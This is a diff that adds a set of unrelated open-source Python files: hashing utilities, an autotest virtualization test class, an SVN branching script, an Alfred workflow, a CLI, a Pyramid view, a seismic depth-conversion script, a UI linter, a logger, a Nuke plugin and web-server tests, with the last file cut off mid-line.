0000000000000000000000000000000000000000..ccbf5f1d9bbfffcf3dc3fce92b7a837a2a119201 --- /dev/null +++ b/pool/shard009/Python/0082216_util.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python2.5 +# +# Copyright 2008 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Common utilities. +""" + +import hashlib +import struct + + +def Bin2Hex(hash): + hexchars = [] + for i in struct.unpack('%dB' % (len(hash),), hash): + hexchars.append('%02x' % (i,)) + return ''.join(hexchars) + +def GetHash256(expr): + return hashlib.sha256(expr).digest() + +def IsFullHash(expr): + return len(expr) == 32 diff --git a/pool/shard009/Python/0082218_virt_test.py b/pool/shard009/Python/0082218_virt_test.py new file mode 100644 index 0000000000000000000000000000000000000000..e18081b3ecface4840f39107bf5b008660563e9b --- /dev/null +++ b/pool/shard009/Python/0082218_virt_test.py @@ -0,0 +1,131 @@ +import os, sys, logging, imp + +from autotest_lib.client.bin import test +from autotest_lib.client.common_lib import error +from autotest_lib.client.virt import virt_utils, virt_env_process + + +class virt_test(test.test): + """ + Shared test class infrastructure for tests such as the KVM test. + + It comprises a subtest load system, use of parameters, and an env + file, all code that can be reused among those virt tests. + """ + version = 1 + env_version = 1 + + + def initialize(self, params): + # Change the value of the preserve_srcdir attribute according to + # the value present on the configuration file (defaults to yes) + if params.get("preserve_srcdir", "yes") == "yes": + self.preserve_srcdir = True + self.virtdir = os.path.dirname(sys.modules[__name__].__file__) + + + def run_once(self, params): + # Convert params to a Params object + params = virt_utils.Params(params) + + # If a dependency test prior to this test has failed, let's fail + # it right away as TestNA. + if params.get("dependency_failed") == 'yes': + raise error.TestNAError("Test dependency failed") + + # Report the parameters we've received and write them as keyvals + logging.debug("Test parameters:") + keys = params.keys() + keys.sort() + for key in keys: + logging.debug(" %s = %s", key, params[key]) + self.write_test_keyval({key: params[key]}) + + # Set the log file dir for the logging mechanism used by kvm_subprocess + # (this must be done before unpickling env) + virt_utils.set_log_file_dir(self.debugdir) + + # Open the environment file + env_filename = os.path.join(self.bindir, params.get("env", "env")) + env = virt_utils.Env(env_filename, self.env_version) + + test_passed = False + + try: + try: + try: + # Get the test routine corresponding to the specified + # test type + t_type = params.get("type") + # Verify if we have the correspondent source file for it + virt_dir = os.path.dirname(virt_utils.__file__) + subtest_dir_common = os.path.join(virt_dir, "tests") + subtest_dir_test = os.path.join(self.bindir, "tests") + subtest_dir = None + for d in [subtest_dir_test, subtest_dir_common]: + module_path = os.path.join(d, "%s.py" % t_type) + if os.path.isfile(module_path): + subtest_dir = d + break + if subtest_dir is None: + raise error.TestError("Could not find test file %s.py " + "on either %s or %s directory" % + (t_type, subtest_dir_test, + subtest_dir_common)) + # Load the test module + f, p, d = imp.find_module(t_type, [subtest_dir]) + test_module = imp.load_module(t_type, f, p, d) + f.close() + + # Preprocess + try: + virt_env_process.preprocess(self, params, env) + finally: + env.save() + # Run the test function + run_func = getattr(test_module, "run_%s" % t_type) + try: + run_func(self, params, env) + finally: + env.save() + test_passed = True + + except Exception, e: + logging.error("Test failed: %s: %s", + e.__class__.__name__, e) + try: + virt_env_process.postprocess_on_error( + self, params, env) + finally: + env.save() + raise + + finally: + # Postprocess + try: + try: + virt_env_process.postprocess(self, params, env) + except Exception, e: + if test_passed: + raise + logging.error("Exception raised during " + "postprocessing: %s", e) + finally: + env.save() + + except Exception, e: + if params.get("abort_on_error") != "yes": + raise + # Abort on error + logging.info("Aborting job (%s)", e) + if params.get("vm_type") == "kvm": + for vm in env.get_all_vms(): + if vm.is_dead(): + continue + logging.info("VM '%s' is alive.", vm.name) + for m in vm.monitors: + logging.info("'%s' has a %s monitor unix socket at: %s", + vm.name, m.protocol, m.filename) + logging.info("The command line used to start '%s' was:\n%s", + vm.name, vm.make_qemu_command()) + raise error.JobError("Abort requested (%s)" % e) diff --git a/pool/shard009/Python/0082225_sets-manager.py b/pool/shard009/Python/0082225_sets-manager.py new file mode 100644 index 0000000000000000000000000000000000000000..271e6006decf298bcc872539ce899430f9094c16 --- /dev/null +++ b/pool/shard009/Python/0082225_sets-manager.py @@ -0,0 +1,210 @@ +#!/usr/bin/env python + +""" This script implements branching and tagging in the DOC group +repository, and automates the process of creating sets. """ + +import os + +def parse_args (): + from optparse import OptionParser + + parser = OptionParser ("usage: %prog [options] name") + parser.add_option ("-A", "--ACE", dest="project", action="store_const", + help="Branch/tag only ACE", default=None, const="ace") + parser.add_option ("-T", "--TAO", dest="project", action="store_const", + help="Branch/tag ACE and TAO", default=None, const="tao") + parser.add_option ("-C", "--CIAO", dest="project", action="store_const", + help="Branch/tag ACE, TAO, and CIAO", default=None, const="ciao") + parser.add_option ("-t", "--tag", dest="action", + help="Create a tag", action="store_true", default=None) + parser.add_option ("-b", "--branch", dest="action", action="store_false", + help="Create a branch", default=None) + parser.add_option ("-v", "--verbose", dest="verbose", action="store_true", + help="Print out verbose debugging output", default=False) + parser.add_option ("-s", "--svn", dest="svn", default="svn", + help="Full path to svn binary, if not in path") + parser.add_option ("-r", "--repo", dest="repo", + default="https://svn.dre.vanderbilt.edu/DOC/Middleware/", + help="Repository to use, defaults to s.d.v.e/DOC/Middleware.") + parser.add_option ("--src", dest="source", default="trunk/", + help="Path in repository from which to branch, defaults to trunk") + parser.add_option ("--dest", dest="dest", default="", + help="Specifies a subdirectory of branches or tags in which " + + "to place the new branch/tag. dest must already exist.") + parser.add_option ("-n", dest="take_action", action="store_false", default=True, + help="Take no action") + (opts, args) = parser.parse_args () + + if len(args) != 1: + parser.error ("must specify exactly one branch or tag name") + + if opts.action is None: + parser.error ("must specify either a branch or tag action") + + if opts.project is None: + parser.error ("must specity a project to branch") + + return (opts, args) + +def execute (command): + from os import system + + if opts.verbose: + print "executing " + command + if opts.take_action and os.system (command) != 0: + raise Exception ("Command failed: " + command) + +def svn_copy (source, dest): + command = " ".join ([opts.svn, + "copy", + '-m "branching/tagging"', + source, + dest]) + execute (command) + +def svn_propset (path, prop, value): + command = " ".join ([opts.svn, + "propset", + prop, + "'" + value + "'", + path]) + execute (command) + +def svn_mkdir (path): + command = " ".join ([opts.svn, + "mkdir", + '-m "branching/tagging"', + path]) + execute (command) + +def svn_mkdir_local (path): + command = " ".join ([opts.svn, + "mkdir", + path]) + execute (command) + +def get_head_revision (url): + command = " ".join ([opts.svn, + "info", + url]) + + import re + lineregex = re.compile ("Last Changed Rev: (\d+)") + + for line in os.popen (command).readlines (): + match = lineregex.match (line) + if (match is not None): + return int(match.group (1)) + + print "ERROR: Unable to find current MPC head revision" + raise Exception + +def branch_ACE (): + # Perform branching + destination = opts.repo + opts.dest + svn_copy (opts.repo + opts.source + "/ACE", + destination + "modules/ACE") + + # pin MPC revision + # Need local copy of the ACE directory to to the propset +# execute ("svn up -N " + opts.repo + path + "/modules/ACE sets_manager_temp/module_ACE") + execute ("svn up -N sets_manager_temp/modules/ACE") + mpc_rev = get_head_revision ("svn://svn.dre.vanderbilt.edu/DOC/MPC/trunk") + + svn_propset ("sets_manager_temp/modules/ACE", + "svn:externals", + "%s\t-r %d %s" % ("MPC", + mpc_rev, + "svn://svn.dre.vanderbilt.edu/DOC/MPC/trunk")) + + #Create the set + svn_mkdir_local ("sets_manager_temp/sets/ACE") + svn_propset ("sets_manager_temp/sets/ACE", + "svn:externals", + "%s\t%s" % ("ACE_wrappers", + destination + "modules/ACE")) + +def branch_TAO (): + branch_ACE () + + # Perform branching + destination = opts.repo + opts.dest + svn_copy (opts.repo + opts.source + "/TAO", + destination + "modules/TAO") + + #Create the set + svn_mkdir_local ("sets_manager_temp/sets/ACE+TAO") + svn_propset ("sets_manager_temp/sets/ACE+TAO", + "svn:externals", + "%s\t%s\n%s\t%s" % ("ACE_wrappers", + destination + "modules/ACE", + "ACE_wrappers/TAO", + destination + "modules/TAO")) + +def branch_CIAO (): + branch_TAO () + + #Perform branching + destination = opts.repo + opts.dest + svn_copy (opts.repo + opts.source + "/CIAO", + destination + "modules/CIAO") + + # Create the set + svn_mkdir_local ("sets_manager_temp/sets/ACE+TAO+CIAO") + svn_propset ("sets_manager_temp/sets/ACE+TAO+CIAO", + "svn:externals", + "%s\t%s\n%s\t%s\n%s\t%s" % + ("ACE_wrappers", + destination + "modules/ACE", + "ACE_wrappers/TAO", + destination + "modules/TAO", + "ACE_wrappers/TAO/CIAO", + destination + "modules/CIAO")) + +def main (opts, args): + # Lets make opts global + globals ()['opts'] = opts + + path = str () + if opts.action: + # True for tag + path = "tags/" + else: # Branch + path = "branches/" + + path += "%s/%s" % (opts.dest, args[0]) + # Make branch/tag directory + svn_mkdir (opts.repo + path) + + execute ("svn co " + opts.repo + path + " sets_manager_temp") + + # Make modules and sets subdirectory + svn_mkdir_local ("sets_manager_temp/modules") + svn_mkdir_local ("sets_manager_temp/sets") + + # commit the new directories + execute ('svn commit -m "branching/tagging" sets_manager_temp') + + # opts.dest should now be set to path, all of the branching + # functions assume dest now points to the branch/tag in which + # the copies should be places + opts.dest = path + '/' + + {'ace': branch_ACE, + 'tao': branch_TAO, + 'ciao': branch_CIAO}[opts.project] () + + # Commit the sets directory + execute ('svn commit -m "branching/tagging" sets_manager_temp') + + # remove the sets directory + for root, dirs, files in os.walk ('sets_manager_temp', False): + for name in files: + os.remove (os.path.join (root, name)) + for name in dirs: + os.rmdir (os.path.join (root, name)) + +if __name__ == "__main__": + opts, args = parse_args () + main (opts, args) + diff --git a/pool/shard009/Python/0082227_settings.py b/pool/shard009/Python/0082227_settings.py new file mode 100644 index 0000000000000000000000000000000000000000..164a2755c2a0a23ecb7d6679467bf18d3a4c83d8 --- /dev/null +++ b/pool/shard009/Python/0082227_settings.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python +# encoding: utf-8 +# +# Copyright © 2014 deanishe@deanishe.net +# +# MIT Licence. See http://opensource.org/licenses/MIT +# +# Created on 2014-08-03 +# + +"""settings.py + +Usage: + settings.py + settings.py toggle-query-in-results + settings.py toggle-update-notification + +Options: + toggle-query-in-results Whether to show in results or not + -h, --help Show this message +""" + +from __future__ import print_function, unicode_literals + +import sys +import subprocess + +from workflow import Workflow + +log = None + +ALFRED_SCRIPT = 'tell application "Alfred 2" to search "{}"' + + +def _applescriptify(text): + """Replace double quotes in text""" + return text.replace('"', '" + quote + "') + + +def call_alfred(query): + """Run Alfred with ``query`` via AppleScript""" + script = ALFRED_SCRIPT.format(_applescriptify(query)) + log.debug('calling Alfred with : {!r}'.format(script)) + return subprocess.call(['osascript', '-e', script]) + + +def main(wf): + from docopt import docopt + args = docopt(__doc__, wf.args) + log.debug('args : {}'.format(args)) + + if args.get('toggle-query-in-results'): + qir = not wf.settings.get('show_query_in_results', False) + wf.settings['show_query_in_results'] = qir + if qir: + print('Query will be shown in suggestions') + else: + print('Query will not be shown in suggestions') + + return call_alfred('searchio') + + if args.get('toggle-update-notification'): + qir = not wf.settings.get('show_update_notification', True) + wf.settings['show_update_notification'] = qir + if qir: + print('You will be notified of available updates') + else: + print('You will not be notified of available updates') + + return call_alfred('searchio') + + # Default: show settings. + # qir = ('No', 'Yes')[wf.settings.get('show_query_in_results', False)] + # wf.add_item('Show query in results: {}'.format(qir), + # 'Action this item to toggle setting', + # arg='show_query_in_results', + # valid=True, + # icon=ICON_SETTINGS) + # wf.send_feedback() + + +if __name__ == '__main__': + wf = Workflow() + log = wf.logger + sys.exit(wf.run(main)) diff --git a/pool/shard009/Python/0082233_action_show.py b/pool/shard009/Python/0082233_action_show.py new file mode 100644 index 0000000000000000000000000000000000000000..f29dd6ca06dfcc0a8b3ab81976532dc4968feda2 --- /dev/null +++ b/pool/shard009/Python/0082233_action_show.py @@ -0,0 +1,55 @@ +from functools import partial +import pprint +import click +from jarvis_cli import file_helper as fh +from jarvis_cli import client, formatting +from jarvis_cli.client import log_entry as cle + +@click.group(name="show") +def do_action_show(): + """Display a Jarvis resource""" + pass + +def _get_and_show_resource(conn, get_func, show_file_func, resource_id): + resource = get_func(conn, resource_id) + show_file_func(resource, resource_id) + +@do_action_show.command(name="log") +@click.argument('log-entry-id') +@click.option('-e', '--event-id', prompt=True, help="Associated event") +@click.pass_context +def show_log_entry(ctx, log_entry_id, event_id): + """Display a log entry""" + conn = ctx.obj["connection"] + # TODO: There must be a easier way to get event id. + get_func = partial(cle.get_log_entry, event_id) + _get_and_show_resource(conn, get_func, fh.show_file_log, log_entry_id) + +@do_action_show.command(name="tag") +@click.argument('tag-name') +@click.pass_context +def show_tag(ctx, tag_name): + """Display a tag""" + conn = ctx.obj["connection"] + _get_and_show_resource(conn, client.get_tag, fh.show_file_tag, tag_name) + +@do_action_show.command(name="event") +@click.argument('event-id') +@click.pass_context +def show_event(ctx, event_id): + """Display an event""" + conn = ctx.obj["connection"] + event = client.get_event(conn, event_id) + + pprint.pprint(formatting.format_event(event), width=120) + print("\n") + + section = input("Show more [description]?: ") + + if section == "description": + tmpfile = fh.create_event_description_path(event_id) + + with open(tmpfile, 'w') as f: + f.write(event[section]) + + fh.just_show_file(tmpfile) diff --git a/pool/shard009/Python/0082235_views.py b/pool/shard009/Python/0082235_views.py new file mode 100644 index 0000000000000000000000000000000000000000..f5512e3b8fda7d1c02e6228966bbe06a9600674c --- /dev/null +++ b/pool/shard009/Python/0082235_views.py @@ -0,0 +1,35 @@ +from pyramid.response import Response +from pyramid.view import view_config + +from sqlalchemy.exc import DBAPIError + +from .models import ( + DBSession, + MyModel, + ) + + +@view_config(route_name='home', renderer='templates/mytemplate.pt') +def my_view(request): + try: + one = DBSession.query(MyModel).filter(MyModel.name == 'one').first() + except DBAPIError: + return Response(conn_err_msg, content_type='text/plain', status_int=500) + return {'one': one, 'project': 'myapp'} + +conn_err_msg = """\ +Pyramid is having a problem using your SQL database. The problem +might be caused by one of the following things: + +1. You may need to run the "initialize_myapp_db" script + to initialize your database tables. Check your virtual + environment's "bin" directory for this script and try to run it. + +2. Your database server may not be running. Check that the + database server referred to by the "sqlalchemy.url" setting in + your "development.ini" file is running. + +After you fix the problem, please restart the Pyramid application to +try it again. +""" + diff --git a/pool/shard009/Python/0082236_depth_conversion_simple.py b/pool/shard009/Python/0082236_depth_conversion_simple.py new file mode 100644 index 0000000000000000000000000000000000000000..070a98cba5c6da05e3a3c6dc4cf3d4d3a8048c25 --- /dev/null +++ b/pool/shard009/Python/0082236_depth_conversion_simple.py @@ -0,0 +1,147 @@ +import os +from osgeo import gdal, osr +import numpy as np +import geoprobe +import matplotlib.pyplot as plt +gdal.UseExceptions() +osr.UseExceptions() + +def main(): + basedir, ignored = os.path.split(__file__) + basedir = os.path.realpath(basedir + 'data/swFaults/') + + timefault = basedir + '/jdk_oos_splay_large_area.swf' + depthfault = basedir + '/jdk_oos_splay_3d_depth.swf' + timefault = basedir + '/jdk_big_decollement.swf' + depthfault = basedir + '/jdk_top_underthrust_3d_depth.swf' + + model, time, depth = rock_velocity(timefault, depthfault) + timefault2depth(timefault, model) + + plt.figure() + x = np.linspace(time.min(), time.max()+ 0.5, 20) + plt.plot(time, depth, 'ro') + plt.xlabel('One-way travel time (sec)') + plt.ylabel('Depth (meters)') + + plt.plot(x, np.polyval(model, x)) + plt.show() + + +class GdalGrid(object): + """Mimics a geoprobe.horizon or swfault.""" + def __init__(self, filename): + self.ds = gdal.Open(filename) + self.band = self.ds.GetRasterBand(1) + trans = self.ds.GetGeoTransform() + self.xmin, self.ymin = trans[0], trans[3] + + def __getitem__(self, value): + x, y = value + t = gdal.Transformer(self.ds, None, []) + _, (xi, yi, _) = t.TransformPoint(1, x, y, 0) + z = self.band.ReadAsArray(int(xi), int(yi), 1, 1) + return z[0,0] + + @property + def grid(self): + try: + return self._grid + except AttributeError: + self._grid = self.band.ReadAsArray() + return self._grid + +class GridInModelCoords(GdalGrid): + proj_number = 32653 # UTM Zone 53N, WGS84 + default_volume = '/data/nankai/data/Volumes/kumdep01_flipY.3dv.vol' + + def __init__(self, *args, **kwargs): + volname = kwargs.pop('volname', self.default_volume) + GdalGrid.__init__(self, *args, **kwargs) + self.vol = geoprobe.volume(volname) + self.inproj = osr.SpatialReference() + self.inproj.ImportFromEPSG(self.proj_number) + self.outproj = osr.SpatialReference(self.ds.GetProjection()) + def __getitem__(self, value): + x, y = self.vol.model2world(*value) + return GdalGrid.__getitem__(self, self._transform_point(x, y)) + + def _transform_point(self, x, y): + trans = osr.CoordinateTransformation(self.inproj, self.outproj) + x, y, _ = trans.TransformPoint(x, y) + return x, y + +def compare(xyz1, xyz2): + """Resample xyz1 at the points in xyz2. Returns the resampled z-value in + xyz1 and the original z-values in xyz2.""" + from scipy.interpolate import LinearNDInterpolator + interp = LinearNDInterpolator(xyz1[:,:2], xyz1[:,-1]) + result = interp(xyz2[:,:2]) + return result, xyz2[:,-1] + + +def rock_velocity(timefaultname, depthfaultname): + """Builds a 1D depth model for sub-seafloor velocities based on two + versions of the same fault (one in time and one in depth).""" + timefault = geoprobe.swfault(timefaultname) + depthfault = geoprobe.swfault(depthfaultname) + + # Convert to one-way-time in seconds so that the model units apply... + time = twt2owt(timefault.z) + + # The time project has X defined as crossline instead of inline + timexyz = np.vstack([timefault.y, timefault.x, time]).T + depthxyz = depthfault.xyz + + # Sample the seafloor depths, convert them to one-way-time, and subtract + seadepth = sample_seafloor(timexyz[:,0], timexyz[:,1]) + timexyz[:,-1] -= np.abs(seadepth) / 1500.00 + + depthxyz[:,-1] -= np.abs(sample_seafloor(depthfault.x, depthfault.y)) + + time, depth = compare(timexyz, depthxyz) + mask = np.isfinite(time) & np.isfinite(depth) + time, depth = time[mask], depth[mask] + + model = np.polyfit(time, depth, 2) + + return model, time, depth + +def sample_seafloor(X, Y): + grid = GridInModelCoords('/data/nankai/data/nankai_bathy.tif') + return [grid[x, y] for x, y in zip(X, Y)] + +def twt2owt(time): + return time / 2.0 / 1000. + +def timefault2depth(faultname, model): + timefault = geoprobe.swfault(faultname) + + # Convert to one-way-time in seconds so that the model units apply... + time = twt2owt(timefault.z) + + # The time project has X defined as crossline instead of inline + x, y, z = timefault.y, timefault.x, time + seafloor = sample_seafloor(x, y) + + # Sample the seafloor depths, convert them to one-way-time, and subtract + time = z - np.abs(seafloor) / 1500.00 + + # Now convert things to depth.. + depth = np.polyval(model, time) + + # and add back on the seafloor depths... + depth += np.abs(seafloor) + + # Now make a new swfault... + xyz = np.vstack([x,y,depth]).T + idx = timefault._indices + depthfault = geoprobe.swfault([xyz[item] for item in idx]) + + # and write it to disk + output_name, ext = os.path.splitext(faultname) + depthfault.write(output_name + '_depth' + ext) + return timefault + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082239_lint-ui.py b/pool/shard009/Python/0082239_lint-ui.py new file mode 100644 index 0000000000000000000000000000000000000000..54e1d27fb19e6589f69e6ba8d2f89319ceac0244 --- /dev/null +++ b/pool/shard009/Python/0082239_lint-ui.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python +# +# This file is part of the LibreOffice project. +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at http://mozilla.org/MPL/2.0/. +# +# Takes a LibreOffice .ui file and provides linting tips for maintaining +# a consistent look for dialogs + +import sys +import xml.etree.ElementTree as ET + +DEFAULT_WARNING_STR = 'Lint assertion failed' + +POSSIBLE_TOP_LEVEL_WIDGETS = ['GtkDialog', 'GtkMessageDialog', 'GtkBox', 'GtkFrame', 'GtkGrid'] +IGNORED_TOP_LEVEL_WIDGETS = ['GtkAdjustment', 'GtkImage', 'GtkListStore', 'GtkSizeGroup', 'GtkMenu', 'GtkTextBuffer'] +BORDER_WIDTH = '6' +BUTTON_BOX_SPACING = '12' +ALIGNMENT_TOP_PADDING = '6' +#https://developer.gnome.org/hig-book/3.0/windows-alert.html.en#alert-spacing +MESSAGE_BOX_SPACING = '24' +MESSAGE_BORDER_WIDTH = '12' + +def lint_assert(predicate, warning=DEFAULT_WARNING_STR): + if not predicate: + print(" * " + warning) + +def check_top_level_widget(element): + # check widget type + widget_type = element.attrib['class'] + lint_assert(widget_type in POSSIBLE_TOP_LEVEL_WIDGETS, + "Top level widget should be 'GtkDialog', 'GtkFrame', 'GtkBox', or 'GtkGrid'") + + # check border_width property + border_width_properties = element.findall("property[@name='border_width']") + if len(border_width_properties) < 1: + lint_assert(False, "No border_width set on top level widget. Should probably be " + BORDER_WIDTH) + if len(border_width_properties) == 1: + border_width = border_width_properties[0] + if widget_type == "GtkMessageDialog": + lint_assert(border_width.text == MESSAGE_BORDER_WIDTH, + "Top level 'border_width' property should be " + MESSAGE_BORDER_WIDTH) + else: + lint_assert(border_width.text == BORDER_WIDTH, + "Top level 'border_width' property should be " + BORDER_WIDTH) + +def check_button_box_spacing(element): + spacing = element.findall("property[@name='spacing']")[0] + lint_assert(spacing.text == BUTTON_BOX_SPACING, + "Button box 'spacing' should be " + BUTTON_BOX_SPACING) + +def check_message_box_spacing(element): + spacing = element.findall("property[@name='spacing']")[0] + lint_assert(spacing.text == MESSAGE_BOX_SPACING, + "Button box 'spacing' should be " + MESSAGE_BOX_SPACING) + +def check_frames(root): + frames = [element for element in root.findall('.//object') if element.attrib['class'] == 'GtkFrame'] + for frame in frames: + frame_alignments = frame.findall("./child/object[@class='GtkAlignment']") + assert len(frame_alignments) <= 1 + if len(frame_alignments) < 1: + lint_assert(False, "No GtkAlignment in GtkFrame with id = '" + frame.attrib['id'] + "'") + if len(frame_alignments) == 1: + alignment = frame_alignments[0] + check_alignment_top_padding(alignment) + +def check_alignment_top_padding(alignment): + top_padding_properties = alignment.findall("./property[@name='top_padding']") + assert len(top_padding_properties) <= 1 + if len(top_padding_properties) < 1: + lint_assert(False, "No GtkAlignment 'top_padding' set. Should probably be " + ALIGNMENT_TOP_PADDING) + if len(top_padding_properties) == 1: + top_padding = top_padding_properties[0] + lint_assert(top_padding.text == ALIGNMENT_TOP_PADDING, + "GtkAlignment 'top_padding' should be " + ALIGNMENT_TOP_PADDING) + +def main(): + print(" == " + sys.argv[1] + " ==") + tree = ET.parse(sys.argv[1]) + root = tree.getroot() + + top_level_widgets = [element for element in root.findall('object') if element.attrib['class'] not in IGNORED_TOP_LEVEL_WIDGETS] + assert len(top_level_widgets) == 1 + + top_level_widget = top_level_widgets[0] + check_top_level_widget(top_level_widget) + + # TODO - only do this if we have a GtkDialog? + # check button box spacing + button_box = top_level_widget.findall("./child/object[@id='dialog-vbox1']") + if len(button_box) > 0: + element = button_box[0] + check_button_box_spacing(element) + + message_box = top_level_widget.findall("./child/object[@id='messagedialog-vbox']") + if len(message_box) > 0: + element = message_box[0] + check_message_box_spacing(element) + + check_frames(root) + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0082247_Logger.py b/pool/shard009/Python/0082247_Logger.py new file mode 100644 index 0000000000000000000000000000000000000000..94c7abe60fdfdf7f1e4bdfc6d746141776d45505 --- /dev/null +++ b/pool/shard009/Python/0082247_Logger.py @@ -0,0 +1,92 @@ +# Copyright (c) 2015 Ultimaker B.V. +# Uranium is released under the terms of the AGPLv3 or higher. + +import sys +import traceback +import inspect + +from UM.PluginObject import PluginObject + + +## Static class used for logging purposes. This class is only meant to be used as a static class. +class Logger: + def __init__(self): + raise Exception("This class is static only") + + ## Add a logger to the list. + # \param logger \type{Logger} + @classmethod + def addLogger(cls, logger): + cls.__loggers.append(logger) + + ## Get all loggers + # \returns \type{list} List of Loggers + @classmethod + def getLoggers(cls): + return cls.__loggers + + ## Send a message of certain type to all loggers to be handled. + # + # This method supports placeholders in either str.format() style or % style. For more details see + # the respective Python documentation pages. + # + # Note that only str.format() supports keyword argument placeholders. Additionally, if str.format() + # makes any changes, % formatting will not be applied. + # + # \param log_type \type{string} Values must be; 'e' (error) , 'i'(info), 'd'(debug) or 'w'(warning). + # \param message \type{string} containing message to be logged + # + # \param *args \type{list} List of placeholder replacements that will be passed to str.format() or %. + # \param **kwargs \type{dict} List of placeholder replacements that will be passed to str.format(). + @classmethod + def log(cls, log_type, message, *args, **kwargs): + caller_frame = inspect.currentframe().f_back + frame_info = inspect.getframeinfo(caller_frame) + + if args or kwargs: # Only format the message if there are args + new_message = message.format(*args, **kwargs) + + if new_message == message: + new_message = message % args # Replace all the %s with the variables. Python formatting is magic. + + message = new_message + + message = "{class_name}.{function} [{line}]: {message}".format(class_name = caller_frame.f_globals["__name__"], function = frame_info.function, line = frame_info.lineno, message = message) + + for logger in cls.__loggers: + logger.log(log_type, message) + + if not cls.__loggers: + print(message) + + ## + @classmethod + def logException(cls, log_type, message, *args): + cls.log(log_type, "Exception: " + message, *args) + # The function traceback.format_exception gives a list of strings, but those are not properly split on newlines. + # traceback.format_exc only gives back a single string, but we can properly split that. It does add an extra newline at the end, so strip that. + for line in traceback.format_exc().rstrip().split("\n"): + cls.log(log_type, line) + + __loggers = [] + +## Abstract base class for log output classes. +class LogOutput(PluginObject): + def __init__(self): + super().__init__() # Call super to make multiple inheritance work. + self._name = type(self).__name__ # Set name of the logger to it's class name + + ## Log a message. + # + # The possible message types are: + # - "d", debug + # - "i", info + # - "w", warning + # - "e", error + # - "c", critical + # + # \param log_type \type{string} A value describing the type of message. + # \param message \type{string} The message to log. + # \exception NotImplementedError + def log(self, log_type, message): + raise NotImplementedError("Logger was not correctly implemented") diff --git a/pool/shard009/Python/0082248_nuke.py b/pool/shard009/Python/0082248_nuke.py new file mode 100644 index 0000000000000000000000000000000000000000..c8b4e0204108b051c867491c604361a833f15614 --- /dev/null +++ b/pool/shard009/Python/0082248_nuke.py @@ -0,0 +1,36 @@ +#-*-coding:utf-8-*- +""" +@package btractor.submission.plugins.nuke +@brief Job Submission plugins + +@author Sebastian Thiel +@copyright [GNU Lesser General Public License](https://www.gnu.org/licenses/lgpl.html) +""" +from __future__ import unicode_literals +__all__ = ['NukeRenderTasksChain'] + + +import bapp +from ...alf.generators import (NodeGeneratorChain, + FrameSequenceGenerator, + NukeRenderTaskGenerator ) + + +class NukeRenderTasksChain(NodeGeneratorChain, bapp.plugin_type()): + """Represents a generator chain which is preconfigured to support frame chunking as and simple rendering + of all enabled write nodes in a script. + + @note for compatibility, its important not to include the Job generator in this chain + """ + __slots__ = () + + def __init__(self): + """Setup the chain""" + super(NukeRenderTasksChain, self).__init__() + self.set_head(FrameSequenceGenerator(NukeRenderTaskGenerator())) + + _plugin_name = "Nuke Render" + +# end class NukeRenderTasksChain + + diff --git a/pool/shard009/Python/0082249_test_servers.py b/pool/shard009/Python/0082249_test_servers.py new file mode 100644 index 0000000000000000000000000000000000000000..6b87b8d24b573478977fdf26357b66b2111ca61e --- /dev/null +++ b/pool/shard009/Python/0082249_test_servers.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python + +import pytest +if pytest.PYVER < (2, 7): + pytest.skip("This test requires Python=>2.7") + +from os import path +from socket import gaierror +import ssl +import sys + +from circuits.web import Controller +from circuits import handler, Component +from circuits.web import BaseServer, Server + +from .helpers import urlopen, URLError + +CERTFILE = path.join(path.dirname(__file__), "cert.pem") + +# self signed cert +if pytest.PYVER >= (2, 7, 9): + SSL_CONTEXT = ssl.SSLContext(ssl.PROTOCOL_SSLv23) + SSL_CONTEXT.verify_mode = ssl.CERT_NONE + + +class BaseRoot(Component): + + channel = "web" + + def request(self, request, response): + return "Hello World!" + + +class Root(Controller): + + def index(self): + return "Hello World!" + + +class MakeQuiet(Component): + + @handler("ready", channel="*", priority=1.0) + def _on_ready(self, event, *args): + event.stop() + + +def test_baseserver(manager, watcher): + server = BaseServer(0).register(manager) + MakeQuiet().register(server) + watcher.wait("ready") + + BaseRoot().register(server) + watcher.wait("registered") + + try: + f = urlopen(server.http.base) + except URLError as e: + if isinstance(e.reason, gaierror): + f = urlopen("http://127.0.0.1:9000") + else: + raise + + s = f.read() + assert s == b"Hello World!" + + server.unregister() + watcher.wait("unregistered") + + +def test_server(manager, watcher): + server = Server(0).register(manager) + MakeQuiet().register(server) + watcher.wait("ready") + + Root().register(server) + + try: + f = urlopen(server.http.base) + except URLError as e: + if isinstance(e.reason, gaierror): + f = urlopen("http://127.0.0.1:9000") + else: + raise + + s = f.read() + assert s == b"Hello World!" + + server.unregister() + watcher.wait("unregistered") + + +@pytest.mark.skipif((2,) < sys.version_info < (3, 4, 3), + reason="Context not implemented under python 3.4.3") +@pytest.mark.skipif(sys.version_info < (2, 7, 9), + reason="Context not implemented under python 2.7.9") +def test_secure_server(manager, watcher): + pytest.importorskip("ssl") + + server = Server(0, secure=True, certfile=CERTFILE).register(manager) + MakeQuiet().register(server) + watcher.wait("ready") + + Root().register(server) + + try: + f = urlopen(server.http.base, context=SSL_CONTEXT) + except URLError as e: + if isinstance(e.reason, gaierror): + f = urlopen("http://127.0.0.1:9000") + else: + raise + + s = f.read() + assert s == b"Hello World!" + + server.unregister() + watcher.wait("unregistered") + + +def test_unixserver(manager, watcher, tmpdir): + if pytest.PLATFORM == "win32": + pytest.skip("Unsupported Platform") + + sockpath = tmpdir.ensure("test.sock") + socket = str(sockpath) + + server = Server(socket).register(manager) + MakeQuiet().register(server) + watcher.wait("ready") + + Root().register(server) + + assert path.basename(server.host) == "test.sock" + + server.unregister() + watcher.wait("unregistered") + + +@pytest.mark.skipif((2, 7, 9) < sys.version_info < (3, 4, 3), + reason="Context not implemented under python 3.4.3") +@pytest.mark.skipif(sys.version_info < (2, 7, 9), + reason="Context not implemented under python 2.7.9") +def test_multi_servers(manager, watcher): + pytest.importorskip("ssl") + + insecure_server = 